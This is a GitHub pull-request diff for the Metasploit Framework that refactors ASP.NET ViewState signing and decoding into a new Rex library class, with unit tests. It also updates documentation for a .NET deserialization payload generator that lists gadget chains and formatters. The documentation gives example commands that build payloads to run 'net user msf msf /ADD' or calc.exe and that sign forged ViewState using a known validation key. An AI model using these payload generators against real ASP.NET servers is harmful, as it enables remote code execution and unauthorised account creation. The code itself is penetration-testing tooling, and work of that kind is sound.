Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feat/tool/ysoserial/viewstate #18899

Merged
merged 7 commits into from
Mar 14, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
49 changes: 33 additions & 16 deletions docs/metasploit-framework.wiki/Dot-Net-Deserialization.md
Original file line number Diff line number Diff line change
Expand Up @@ -82,24 +82,41 @@ Generate a .NET deserialization payload that will execute an operating system
command using the specified gadget chain and formatter.

Available formatters:
* BinaryFormatter
* LosFormatter
* SoapFormatter
* BinaryFormatter
* LosFormatter
* SoapFormatter

Available gadget chains:
* TextFormattingRunProperties
* TypeConfuseDelegate
* WindowsIdentity

Example: ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties

Specific options:
-c, --command <String> The command to run
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
--list-output-formats List available output formats, for use with --output
-h, --help Show this message
* ClaimsPrincipal
* DataSet
* DataSetTypeSpoof
* ObjectDataProvider
* TextFormattingRunProperties
* TypeConfuseDelegate
* WindowsIdentity

Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5

Examples:
./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
./dot_net.rb -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \
--viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1

General options:
-h, --help Show this message
-c, --command <String> The command to run
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
--list-output-formats List available output formats, for use with --output

ViewState related options:
--viewstate-generator <String>
The ViewState generator string to use
--viewstate-validation-algorithm <String>
The validation algorithm (default: SHA1, see: Available HMAC algorithms)
--viewstate-validation-key <HexString>
The validationKey from the web.config file
```

The `-g` / `--gadget` option maps to the *gadget_chain* argument for the
Expand Down
59 changes: 14 additions & 45 deletions lib/msf/core/exploit/view_state.rb
Original file line number Diff line number Diff line change
Expand Up @@ -51,60 +51,29 @@ def generate_viewstate_payload(cmd, extra: '', algo: 'sha1', key: '')
end

def generate_viewstate(data, extra: '', algo: 'sha1', key: '')
# Generate ViewState HMAC from known values and validation key
hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key)

# Append HMAC to provided data and Base64-encode the whole shebang
Rex::Text.encode_base64(data + hmac)
Rex::Exploit::ViewState.generate_viewstate(data, extra: extra, algo: algo, key: key)
end

def generate_viewstate_hmac(data, algo: 'sha1', key: '')
OpenSSL::HMAC.digest(algo, key, data)
Rex::Exploit::ViewState.generate_viewstate_hmac(data, algo: algo, key: key)
end

def decode_viewstate(encoded_viewstate, algo: 'sha1')
viewstate = Rex::Text.decode_base64(encoded_viewstate)

unless Rex::Text.encode_base64(viewstate) == encoded_viewstate
vprint_error('Could not decode ViewState')
return { data: nil, hmac: nil }
end

hmac_len = generate_viewstate_hmac('', algo: algo).length

if (data = viewstate[0...-hmac_len]).empty?
vprint_error('Could not parse ViewState data')
data = nil
end

unless (hmac = viewstate[-hmac_len..-1])
vprint_error('Could not parse ViewState HMAC')
end

{ data: data, hmac: hmac }
decoded = Rex::Exploit::ViewState.decode_viewstate(encoded_viewstate, algo: algo)

vprint_error('Could not parse ViewState data') unless decoded[:data].present?
vprint_error('Could not parse ViewState HMAC') unless decoded[:hmac].present?
decoded
rescue Rex::Exploit::ViewState::Error => error
vprint_error("#{error.class.name}: #{error.message}")
return { data: nil, hmac: nil }
end

def can_sign_viewstate?(encoded_viewstate, extra: '', algo: 'sha1', key: '')
viewstate = decode_viewstate(encoded_viewstate)

unless viewstate[:data]
vprint_error('Could not retrieve ViewState data')
return false
end

unless (their_hmac = viewstate[:hmac])
vprint_error('Could not retrieve ViewState HMAC')
return false
end

our_hmac = generate_viewstate_hmac(
viewstate[:data] + extra,
algo: algo,
key: key
)

# Do we have what it takes?
our_hmac == their_hmac
Rex::Exploit::ViewState.can_sign_viewstate?(encoded_viewstate, extra: extra, algo: algo, key: key)
rescue Rex::Exploit::ViewState::Error => error
vprint_error("#{error.class.name}: #{error.message}")
return false
end

# Extract __VIEWSTATE from HTML
Expand Down
68 changes: 68 additions & 0 deletions lib/rex/exploit/view_state.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
# -*- coding: binary -*-

module Rex
module Exploit
class ViewState
class Error < Rex::RuntimeError
end

def self.decode_viewstate(encoded_viewstate, algo: 'sha1')
viewstate = Rex::Text.decode_base64(encoded_viewstate)

unless Rex::Text.encode_base64(viewstate) == encoded_viewstate
raise Error.new('Could not decode ViewState')
end

hmac_len = OpenSSL::Digest.new(algo).digest_length

if (data = viewstate[0...-hmac_len]).empty?
data = nil
end

hmac = viewstate[-hmac_len..-1]
unless hmac&.length == hmac_len
raise Error.new('Could not decode ViewState')
end

{ data: data, hmac: hmac }
end

def self.generate_viewstate(data, extra: '', algo: 'sha1', key: '')
# Generate ViewState HMAC from known values and validation key
hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key)

# Append HMAC to provided data and Base64-encode the whole shebang
Rex::Text.encode_base64(data + hmac)
end

def self.generate_viewstate_hmac(data, algo: 'sha1', key: '')
OpenSSL::HMAC.digest(algo, key, data)
end

def self.is_viewstate_valid?(encoded_viewstate, extra: '', algo: 'sha1', key: '')
viewstate = decode_viewstate(encoded_viewstate)

unless viewstate[:data]
raise Error.new('Could not retrieve ViewState data')
end

unless (their_hmac = viewstate[:hmac])
raise Error.new('Could not retrieve ViewState HMAC')
end

our_hmac = generate_viewstate_hmac(
viewstate[:data] + extra,
algo: algo,
key: key
)

# Do we have what it takes?
our_hmac == their_hmac
end

class << self
alias_method :can_sign_viewstate?, :is_viewstate_valid?
end
end
end
end
67 changes: 67 additions & 0 deletions spec/lib/rex/exploit/view_state_spec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
require 'spec_helper'
require 'rex/version'

require 'rex/text'

# rubocop:disable Lint/DeprecatedGemVersion
RSpec.describe Rex::Exploit::ViewState do
let(:data) { Random.new.bytes(rand(10..100)) }
let(:key) { Random.new.bytes(20) }

context 'when the algorithm is SHA-1' do
let(:algo) { 'sha1' }

describe '.decode_viewstate' do
let(:encoded) { described_class.generate_viewstate(data, algo: algo, key: key) }

it 'returns the data and HMAC' do
decoded = described_class.decode_viewstate(encoded, algo: algo)
expect(decoded).to be_a Hash
expect(decoded[:data]).to eq data
expect(decoded[:hmac]).to eq described_class.generate_viewstate_hmac(data, algo: algo, key: key)
end
end

describe '.generate_viewstate' do
it 'generates the HMAC signature' do
expect(described_class).to receive(:generate_viewstate_hmac).with(data, algo: algo, key: key).and_call_original
described_class.generate_viewstate(data, algo: algo, key: key)
end

it 'generates a Base64 encoded blob' do
viewstate = described_class.generate_viewstate(data, algo: algo, key: key)
debase64ed = Rex::Text.decode_base64(viewstate)
expect(debase64ed).to eq data + described_class.generate_viewstate_hmac(data, algo: algo, key: key)
end
end

describe '.generate_viewstate_hmac' do
it 'delegates to OpenSSL::HMAC' do
expect(OpenSSL::HMAC).to receive(:digest).with(algo, key,data)
described_class.generate_viewstate_hmac(data, algo: algo, key: key)
end

it 'generates a 20 byte HMAC' do
hmac = described_class.generate_viewstate_hmac(data, algo: algo, key: key)
expect(hmac.bytesize).to eq 20
end
end

describe '.is_viewstate_valid?' do
let(:encoded) { described_class.generate_viewstate(data, algo: algo, key: key) }

it 'raises an Error when it can not be decoded' do
# use key.length / 2 to guarantee there is not enough data for the key to be found
expect { described_class.is_viewstate_valid?(Rex::Text.encode_base64('A' * (key.length / 2))) }.to raise_error(described_class::Error)
end

it 'returns true for the correct key' do
expect(described_class.is_viewstate_valid?(encoded, algo: algo, key: key)).to be_truthy
end

it 'returns false for the incorrect key' do
expect(described_class.is_viewstate_valid?(encoded, algo: algo, key: key + '#')).to be_falsey
end
end
end
end
Loading
Loading